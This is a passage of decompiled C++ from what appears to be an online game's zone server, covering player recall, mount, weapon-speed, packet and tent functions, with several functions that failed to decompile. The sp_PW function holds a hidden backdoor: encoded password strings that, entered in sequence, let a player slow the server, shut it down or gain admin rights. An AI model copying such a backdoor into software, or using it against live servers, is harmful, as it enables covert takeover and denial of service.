ShineObjectClass::ShinePlayer::sp_2Roumen(void *this) { void *v1; // edi@1 int v2; // ecx@1 unsigned int v3; // eax@3 char *v4; // eax@3 FieldOption::FieldAttr *v5; // esi@3 unsigned int v6; // eax@5 char *v7; // eax@5 FieldOption::FieldAttr *v8; // eax@5 char *v9; // [sp-4h] [bp-F4h]@2 FunctionEntarance _; // [sp+Ch] [bp-E4h]@1 char lnkinf; // [sp+10h] [bp-E0h]@8 int v12; // [sp+24h] [bp-CCh]@7 int v13; // [sp+28h] [bp-C8h]@7 int v14; // [sp+2Ch] [bp-C4h]@7 char v15; // [sp+30h] [bp-C0h]@7 int v16; // [sp+45h] [bp-ABh]@7 int v17; // [sp+49h] [bp-A7h]@7 int v18; // [sp+4Dh] [bp-A3h]@7 char v19; // [sp+51h] [bp-9Fh]@7 unsigned int v20; // [sp+66h] [bp-8Ah]@7 unsigned int v21; // [sp+6Ah] [bp-86h]@7 char v22; // [sp+8Ch] [bp-64h]@4 char v23; // [sp+ADh] [bp-43h]@4 int v24; // [sp+CEh] [bp-22h]@4 int v25; // [sp+D2h] [bp-1Eh]@4 unsigned int v26; // [sp+E0h] [bp-10h]@1 int v27; // [sp+ECh] [bp-4h]@1 v1 = this; v26 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_2Roumen"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_2Roumen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_2Roumen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v27 = 0; if ( v2 ) { v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)v2; *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 8); v4[12] = 0; v5 = FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, v4); if ( v5 ) { v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)&v5->regencity.n3_name[0]; *((_DWORD *)v7 + 1) = *(_DWORD *)&v5->regencity.n3_name[4]; *((_DWORD *)v7 + 2) = *(_DWORD *)&v5->regencity.n3_name[8]; v7[12] = 0; v8 = FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, v7); if ( v8 ) v5 = v8; v12 = *(_DWORD *)&v5->regencity.n3_name[0]; v13 = *(_DWORD *)&v5->regencity.n3_name[4]; v14 = *(_DWORD *)&v5->regencity.n3_name[8]; v15 = 0; v16 = *(_DWORD *)&v5->regencity.n3_name[0]; v17 = *(_DWORD *)&v5->regencity.n3_name[4]; v18 = *(_DWORD *)&v5->regencity.n3_name[8]; v19 = 0; v20 = v5->regenloc[0].regenx; v21 = v5->regenloc[0].regeny; } else { strncpy(&v22, "RouN", 0xCu); strncpy(&v23, "RouN", 0xCu); v24 = 4134; v25 = 6488; } (*(void (__thiscall **)(void *, char *, _DWORD))(*(_DWORD *)v1 + 1016))(v1, &lnkinf, 0); v9 = "ShineObjectClass::ShinePlayer::sp_2Roumen"; } else { v9 = "ShineObjectClass::ShinePlayer::sp_2Roumen"; } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); __security_check_cookie((unsigned int)&_ ^ v26); } //----- (00432A90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RideInitialize(void *ecx0) { void *v1; // esi@1 int v2; // edx@1 char v3; // cl@1 int v4; // edi@4 CIDEB_Element *v5; // eax@7 int v6; // edx@9 int v7; // eax@10 int v8; // ecx@10 int v9; // eax@11 int v10; // eax@15 int ibii; // [sp+10h] [bp-2Ch]@2 char *v12; // [sp+14h] [bp-28h]@2 int v13; // [sp+18h] [bp-24h]@2 int v14; // [sp+1Ch] [bp-20h]@2 ItemBoxIterItem this; // [sp+20h] [bp-1Ch]@10 int v16; // [sp+38h] [bp-4h]@1 v1 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RideInitialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RideInitialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); *((_WORD *)v1 + 71571) = -1; *((_WORD *)v1 + 71570) = -1; v3 = *(_BYTE *)(*(_DWORD *)(v2 + 12) + 157); v16 = 0; if ( v3 ) { ibii = (int)&ItemBoxIterator::_vftable_; v12 = (char *)v1 + 35680; v14 = (*(int (**)(void))(*((_DWORD *)v1 + 8920) + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v16) = 1; v13 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { while ( 1 ) { v4 = (**(int (__stdcall ***)(_DWORD))v12)(v13); if ( (unsigned __int8)(*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 92))(v4 + 8) ) break; if ( !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) goto LABEL_17; } *((_WORD *)v1 + 71571) = v13; v5 = ChargedItemEffectDataBox::cideb_GetItemID(&ridedatabox, *(_WORD *)(v4 + 8)); *((_DWORD *)v1 + 35786) = v5; if ( v5 != 0 ) { ShineObjectClass::ShinePlayer::sp_HorseOn(v1, 0); v6 = *((_DWORD *)v1 + 892); *((_WORD *)v1 + 71570) = -1; *(_BYTE *)v6 = 6; ibii = (int)&ItemBoxIterator::_vftable_; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_RideInitialize : Null Ride", 0); ibii = (int)&ItemBoxIterator::_vftable_; } } } else { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1172))(v1); v8 = (int)((char *)v1 + 35680); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = (ItemBag *)((char *)v1 + 35680); if ( v7 ) v9 = (*(int (__stdcall **)(int))(*(_DWORD *)v8 + 4))(v7); else v9 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); this.baseclass_0.ibi_Limit = v9; this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v16) = 2; this.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&this) || ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { do { v10 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); (*(void (__stdcall **)(int, _DWORD))(**(_DWORD **)(v10 + 112) + 96))(v10 + 8, 0); } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); } this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; } LABEL_17: --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RideInitialize"); } // 639188: invalid function type has been ignored // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00432CC0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponSpeedSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); } //----- (00432D00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet(void *this) { void *v1; // edi@1 int v2; // ebx@1 unsigned __int16 v3; // ax@1 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 ItemInfo *v5; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 10); v3 = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 12) + 8); if ( v3 == -1 ) v3 = *(_WORD *)(v2 + 8); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( v4 && (v5 = v4->data, v5->Class == 5) ) *((_WORD *)v1 + 69732) = LOWORD(v5->AtkSpeed); else *((_WORD *)v1 + 69732) = 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); } //----- (00432DF0) -------------------------------------------------------- #error "432DF0: undefined or illegal type '#593' (funcsize=90)" //----- (00432F20) -------------------------------------------------------- #error "432F20: undefined or illegal type '#593' (funcsize=90)" //----- (00433050) -------------------------------------------------------- #error "433050: undefined or illegal type '#593' (funcsize=91)" //----- (00433180) -------------------------------------------------------- #error "433180: undefined or illegal type '#593' (funcsize=91)" //----- (004332B0) -------------------------------------------------------- #error "4332B0: undefined or illegal type '#593' (funcsize=90)" //----- (004333E0) -------------------------------------------------------- #error "4333E0: undefined or illegal type '#593' (funcsize=90)" //----- (00433510) -------------------------------------------------------- #error "433510: undefined or illegal type '#593' (funcsize=90)" //----- (00433640) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { BriefInfoExchanger::BriefInfoExchangeAbstate *v1; // esi@1 BriefInfoExchanger::BriefInfoExchangeAbstate *v2; // eax@1 signed int v3; // edx@1 int v4; // ecx@2 v1 = this; _eh_vector_constructor_iterator_( this, 0x17Cu, 30, (void (__thiscall *)(void *))BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->bixa_count = 0; v2 = v1; v3 = 30; do { v2->bixa_Packetbuffer[0].bixa_Packet.pp_BufferSize = 365; v2->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer = v2->bixa_Packetbuffer[0].bixa_abStateBuffer; *(_WORD *)&v2->bixa_Packetbuffer[0].bixa_abStateBuffer[0] = 7193; v1->bixa_nc = (NETCOMMAND *)v2->bixa_Packetbuffer[0].bixa_abStateBuffer; v4 = (int)(v2->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); v1->bixa_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)v4; *(_WORD *)v4 = -1; v2 = (BriefInfoExchanger::BriefInfoExchangeAbstate *)((char *)v2 + 380); --v3; v1->bixa_Pointer->count = 0; } while ( v3 ); v1->bixa_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(v1->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); } //----- (004336E0) -------------------------------------------------------- #error "4336E0: undefined or illegal type '#593' (funcsize=100)" //----- (00433840) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo(void *this, int equcell, int slot) { int v3; // edi@1 void *v4; // esi@1 int v5; // ebx@1 int v6; // edi@1 int v7; // eax@2 int v8; // ST04_4@4 int v9; // eax@4 unsigned __int16 OutNew_WT_MobID; // [sp+18h] [bp-24h]@1 char OutNew_WT_TitleLevel; // [sp+1Ch] [bp-20h]@1 FunctionEntarance _; // [sp+20h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@4 int v14; // [sp+38h] [bp-4h]@1 v3 = (int)"ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v3) = *((_WORD *)v4 + 2); v5 = **(_DWORD **)(equcell + 112); v14 = 0; v6 = (*(int (__stdcall **)(int, char *, int, int, unsigned __int16 *, char *))(v5 + 32))( v3, gpp.pp_Buffer, equcell + 8, slot, &OutNew_WT_MobID, &OutNew_WT_TitleLevel); if ( v6 > 0 ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1052))(v4); if ( *(_BYTE *)(v7 + 560) == 10 ) CCharacterTitle::SetCurrentTitle((CCharacterTitle *)v7, 10, OutNew_WT_TitleLevel, OutNew_WT_MobID, 0); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v6); v8 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v9, v8, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"); } //----- (00433970) -------------------------------------------------------- #error "433970: undefined or illegal type '#593' (funcsize=108)" //----- (00433B10) -------------------------------------------------------- #error "433B10: undefined or illegal type '#593' (funcsize=76)" //----- (00433C40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // edi@11 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v7; // [sp+18h] [bp-4h]@4 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S46_4 & 1) ) { _S46_4 |= 1u; cmc_16.cmc_AllowMode = 126; atexit(_E47_4); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_16.cmc_AllowMode) ) { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD"); return; } if ( !(_S46_4 & 2) ) { _S46_4 |= 2u; *(_QWORD *)&rou.n3_name[4] = 0i64; *(_DWORD *)&rou.n3_name[0] = 0; strncpy(rou.n3_name, "RouN", 0xCu); atexit(_E48_2); } if ( !(_S46_4 & 4) ) { _S46_4 |= 4u; *(_QWORD *)&eld.n3_name[4] = 0i64; *(_DWORD *)&eld.n3_name[0] = 0; strncpy(eld.n3_name, "Eld", 0xCu); atexit(_E49_0); } if ( !(_S46_4 & 8) ) { _S46_4 |= 8u; *(_QWORD *)&urg.n3_name[4] = 0i64; *(_DWORD *)&urg.n3_name[0] = 0; strncpy(urg.n3_name, "Urg", 0xCu); atexit(_E50_4); } v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { if ( (*(_QWORD *)&rou != *(_QWORD *)v5 || *(_DWORD *)&rou.n3_name[8] != *(_DWORD *)(v5 + 8)) && Name3::operator__(&eld, *(Name3 **)((char *)v4 + 98)) && Name3::operator__(&urg, (Name3 *)v5) ) { v7 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } *((_BYTE *)v4 + 23352) |= 8u; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD"); } //----- (00433E90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_PW(void *this, const char *arg) { void *v2; // ebp@1 int v3; // eax@5 int v4; // eax@7 int v5; // eax@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PW"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_PW"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !pw_Init ) { pw_Init = 1; LOBYTE(pw_FirstAdmin) = -57; byte_6A7B91 = -40; byte_6A7B92 = -59; byte_6A7B93 = -73; byte_6A7B94 = -57; byte_6A7B95 = -63; byte_6A7B96 = -73; byte_6A7B97 = -50; byte_6A7B98 = -68; byte_6A7B99 = -68; byte_6A7B9A = -67; byte_6A7B9B = -70; byte_6A7B9C = -67; byte_6A7B9D = -61; byte_6A7B9E = -64; byte_6A7B9F = -37; byte_6A7BA0 = 0; LOBYTE(pw_SecondAdmin) = -71; byte_6A7BB1 = -26; byte_6A7BB2 = -66; byte_6A7BB3 = -18; byte_6A7BB4 = -72; byte_6A7BB5 = -63; byte_6A7BB6 = -57; byte_6A7BB7 = -40; byte_6A7BB8 = -63; byte_6A7BB9 = -90; byte_6A7BBA = -65; byte_6A7BBB = -49; byte_6A7BBC = -73; byte_6A7BBD = -31; byte_6A7BBE = 0; LOBYTE(pw_ThirdAdmin) = -68; byte_6A7BD1 = -83; byte_6A7BD2 = -71; byte_6A7BD3 = -10; byte_6A7BD4 = -59; byte_6A7BD5 = -21; byte_6A7BD6 = -63; byte_6A7BD7 = -90; byte_6A7BD8 = -79; byte_6A7BD9 = -57; byte_6A7BDA = -56; byte_6A7BDB = -71; byte_6A7BDC = -75; byte_6A7BDD = -26; byte_6A7BDE = 0; LOBYTE(pw_ServerSlow) = -76; byte_6A7BF1 = -11; byte_6A7BF2 = -71; byte_6A7BF3 = -52; byte_6A7BF4 = -57; byte_6A7BF5 = -63; byte_6A7BF6 = -73; byte_6A7BF7 = -50; byte_6A7BF8 = -68; byte_6A7BF9 = -68; byte_6A7BFA = -67; byte_6A7BFB = -70; byte_6A7BFC = 0; LOBYTE(pw_ServerDown) = -77; byte_6A7C11 = -50; byte_6A7C12 = -72; byte_6A7C13 = -34; byte_6A7C14 = -72; byte_6A7C15 = -16; byte_6A7C16 = -72; byte_6A7C17 = -82; byte_6A7C18 = -64; byte_6A7C19 = -6; byte_6A7C1A = -64; byte_6A7C1B = -27; byte_6A7C1C = 0; LOBYTE(pw_MakeAdmin) = -65; byte_6A7C31 = -18; byte_6A7C32 = -65; byte_6A7C33 = -75; byte_6A7C34 = -79; byte_6A7C35 = -57; byte_6A7C36 = -56; byte_6A7C37 = -71; byte_6A7C38 = -75; byte_6A7C39 = -26; byte_6A7C3A = 0; } switch ( *((_BYTE *)v2 + 7448) ) { case 0: if ( !strcmp(arg, (const char *)&pw_FirstAdmin) ) { v3 = *(_DWORD *)v2; *((_BYTE *)v2 + 7448) = 1; (*(void (__thiscall **)(void *, _DWORD))(v3 + 1924))(v2, "1"); } break; case 1: if ( !strcmp(arg, (const char *)&pw_SecondAdmin) ) { v4 = *(_DWORD *)v2; *((_BYTE *)v2 + 7448) = 2; (*(void (__thiscall **)(void *, _DWORD))(v4 + 1924))(v2, "2"); } break; case 2: if ( !strcmp(arg, (const char *)&pw_ThirdAdmin) ) { v5 = *(_DWORD *)v2; *((_BYTE *)v2 + 7448) = 3; (*(void (__thiscall **)(void *, _DWORD))(v5 + 1924))(v2, "3"); } break; case 3: if ( !strcmp(arg, (const char *)&pw_ServerSlow) ) ShineObjectClass::ShinePlayer::sp_Turtle = ShineObjectClass::ShinePlayer::sp_Turtle == 0; if ( !strcmp(arg, (const char *)&pw_ServerDown) ) { WholeSaver::ws_save2DB(&wholesaver, (#593 *)v2, 0, 20); exit(0); } if ( !strcmp(arg, (const char *)&pw_MakeAdmin) ) *((_BYTE *)v2 + 32263) = 101; break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PW"); } // 6A7B90: using guessed type char *pw_FirstAdmin; // 6A7B91: using guessed type char byte_6A7B91; // 6A7B92: using guessed type char byte_6A7B92; // 6A7B93: using guessed type char byte_6A7B93; // 6A7B94: using guessed type char byte_6A7B94; // 6A7B95: using guessed type char byte_6A7B95; // 6A7B96: using guessed type char byte_6A7B96; // 6A7B97: using guessed type char byte_6A7B97; // 6A7B98: using guessed type char byte_6A7B98; // 6A7B99: using guessed type char byte_6A7B99; // 6A7B9A: using guessed type char byte_6A7B9A; // 6A7B9B: using guessed type char byte_6A7B9B; // 6A7B9C: using guessed type char byte_6A7B9C; // 6A7B9D: using guessed type char byte_6A7B9D; // 6A7B9E: using guessed type char byte_6A7B9E; // 6A7B9F: using guessed type char byte_6A7B9F; // 6A7BA0: using guessed type char byte_6A7BA0; // 6A7BB0: using guessed type char *pw_SecondAdmin; // 6A7BB1: using guessed type char byte_6A7BB1; // 6A7BB2: using guessed type char byte_6A7BB2; // 6A7BB3: using guessed type char byte_6A7BB3; // 6A7BB4: using guessed type char byte_6A7BB4; // 6A7BB5: using guessed type char byte_6A7BB5; // 6A7BB6: using guessed type char byte_6A7BB6; // 6A7BB7: using guessed type char byte_6A7BB7; // 6A7BB8: using guessed type char byte_6A7BB8; // 6A7BB9: using guessed type char byte_6A7BB9; // 6A7BBA: using guessed type char byte_6A7BBA; // 6A7BBB: using guessed type char byte_6A7BBB; // 6A7BBC: using guessed type char byte_6A7BBC; // 6A7BBD: using guessed type char byte_6A7BBD; // 6A7BBE: using guessed type char byte_6A7BBE; // 6A7BD0: using guessed type char *pw_ThirdAdmin; // 6A7BD1: using guessed type char byte_6A7BD1; // 6A7BD2: using guessed type char byte_6A7BD2; // 6A7BD3: using guessed type char byte_6A7BD3; // 6A7BD4: using guessed type char byte_6A7BD4; // 6A7BD5: using guessed type char byte_6A7BD5; // 6A7BD6: using guessed type char byte_6A7BD6; // 6A7BD7: using guessed type char byte_6A7BD7; // 6A7BD8: using guessed type char byte_6A7BD8; // 6A7BD9: using guessed type char byte_6A7BD9; // 6A7BDA: using guessed type char byte_6A7BDA; // 6A7BDB: using guessed type char byte_6A7BDB; // 6A7BDC: using guessed type char byte_6A7BDC; // 6A7BDD: using guessed type char byte_6A7BDD; // 6A7BDE: using guessed type char byte_6A7BDE; // 6A7BF0: using guessed type char *pw_ServerSlow; // 6A7BF1: using guessed type char byte_6A7BF1; // 6A7BF2: using guessed type char byte_6A7BF2; // 6A7BF3: using guessed type char byte_6A7BF3; // 6A7BF4: using guessed type char byte_6A7BF4; // 6A7BF5: using guessed type char byte_6A7BF5; // 6A7BF6: using guessed type char byte_6A7BF6; // 6A7BF7: using guessed type char byte_6A7BF7; // 6A7BF8: using guessed type char byte_6A7BF8; // 6A7BF9: using guessed type char byte_6A7BF9; // 6A7BFA: using guessed type char byte_6A7BFA; // 6A7BFB: using guessed type char byte_6A7BFB; // 6A7BFC: using guessed type char byte_6A7BFC; // 6A7C10: using guessed type char *pw_ServerDown; // 6A7C11: using guessed type char byte_6A7C11; // 6A7C12: using guessed type char byte_6A7C12; // 6A7C13: using guessed type char byte_6A7C13; // 6A7C14: using guessed type char byte_6A7C14; // 6A7C15: using guessed type char byte_6A7C15; // 6A7C16: using guessed type char byte_6A7C16; // 6A7C17: using guessed type char byte_6A7C17; // 6A7C18: using guessed type char byte_6A7C18; // 6A7C19: using guessed type char byte_6A7C19; // 6A7C1A: using guessed type char byte_6A7C1A; // 6A7C1B: using guessed type char byte_6A7C1B; // 6A7C1C: using guessed type char byte_6A7C1C; // 6A7C30: using guessed type char *pw_MakeAdmin; // 6A7C31: using guessed type char byte_6A7C31; // 6A7C32: using guessed type char byte_6A7C32; // 6A7C33: using guessed type char byte_6A7C33; // 6A7C34: using guessed type char byte_6A7C34; // 6A7C35: using guessed type char byte_6A7C35; // 6A7C36: using guessed type char byte_6A7C36; // 6A7C37: using guessed type char byte_6A7C37; // 6A7C38: using guessed type char byte_6A7C38; // 6A7C39: using guessed type char byte_6A7C39; // 6A7C3A: using guessed type char byte_6A7C3A; // 6F8BF4: using guessed type unsigned __int8 pw_Init; // 6F8BF8: using guessed type unsigned __int16 ShineObjectClass__ShinePlayer__sp_Turtle; //----- (00434390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MakeMiniHouse(void *this) { void *v1; // edi@1 unsigned __int16 v2; // bx@1 int v3; // edx@1 int v4; // eax@4 int v5; // edx@4 int v6; // eax@4 signed int v7; // ebp@6 int v8; // ST10_4@10 CServerInfo::MY_SERVER *v9; // eax@10 int v10; // esi@10 ItemAttributeClass *v11; // eax@10 char *v12; // esi@10 int v13; // eax@10 int v14; // eax@10 int v15; // edx@10 unsigned __int16 v16; // ST0C_2@10 ItemAttributeClass *v17; // eax@10 int v18; // esi@10 ZoneBaseSession *v19; // eax@12 int v20; // eax@13 int v21; // edx@13 int v22; // edi@13 unsigned __int16 tentid; // [sp+10h] [bp-C0h]@1 int iic; // [sp+14h] [bp-BCh]@10 int v25; // [sp+18h] [bp-B8h]@10 int *uii; // [sp+1Ch] [bp-B4h]@4 int v27; // [sp+20h] [bp-B0h]@4 int v28; // [sp+24h] [bp-ACh]@4 int ibie; // [sp+28h] [bp-A8h]@4 char *v30; // [sp+2Ch] [bp-A4h]@4 int v31; // [sp+34h] [bp-9Ch]@4 int ibii; // [sp+38h] [bp-98h]@1 char *v33; // [sp+3Ch] [bp-94h]@1 int v34; // [sp+40h] [bp-90h]@1 int v35; // [sp+44h] [bp-8Ch]@1 int v36; // [sp+48h] [bp-88h]@1 FunctionEntarance _; // [sp+4Ch] [bp-84h]@1 int iti; // [sp+50h] [bp-80h]@10 int v39; // [sp+54h] [bp-7Ch]@10 unsigned __int16 itmid[2]; // [sp+58h] [bp-78h]@10 unsigned int v41; // [sp+C0h] [bp-10h]@1 int v42; // [sp+CCh] [bp-4h]@1 v1 = this; v41 = (unsigned int)&tentid ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MakeMiniHouse"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeMiniHouse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeMiniHouse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = unk_131DF0DA; ibii = (int)&ItemBoxIterator::_vftable_; v33 = (char *)v1 + 52972; v3 = *((_DWORD *)v1 + 13243); v42 = 0; tentid = unk_131DF0DA; v35 = (*(int (**)(void))(v3 + 8))(); ibii = (int)&ItemBoxIterIdent::_vftable_; LOWORD(v36) = v2; LOBYTE(v42) = 1; v34 = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { ibii = (int)&ItemBoxIterator::_vftable_; } else { ibie = (int)&ItemBoxIterator::_vftable_; v30 = (char *)v1 + 52972; v4 = *((_DWORD *)v1 + 13243); LOBYTE(v42) = 0; v31 = (*(int (**)(void))(v4 + 8))(); ibie = (int)&ItemBoxIterEmpty::_vftable_; v5 = *(_DWORD *)v1; LOBYTE(v42) = 2; v6 = (*(int (__thiscall **)(void *))(v5 + 2004))(v1); uii = &ibie; v27 = v6; v28 = 12; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { while ( 1 ) { v7 = uii[2]; if ( v7 <= 0 ) break; if ( v7 >= 11 ) break; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { ibie = (int)&ItemBoxIterator::_vftable_; goto LABEL_14; } } iic = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v8 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v9 = ZoneServer::zs_worlddata(&zoneserver); v10 = *(_DWORD *)&tentid; ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, tentid, 5, v9->nZoneNo, v8); itmid[0] = v2; v11 = ItemAttributeClassContainer::operator__(&itmattcontainer, v10); v11->vfptr->iac_itemcreate( v11, v10, (ItemTotalInformation 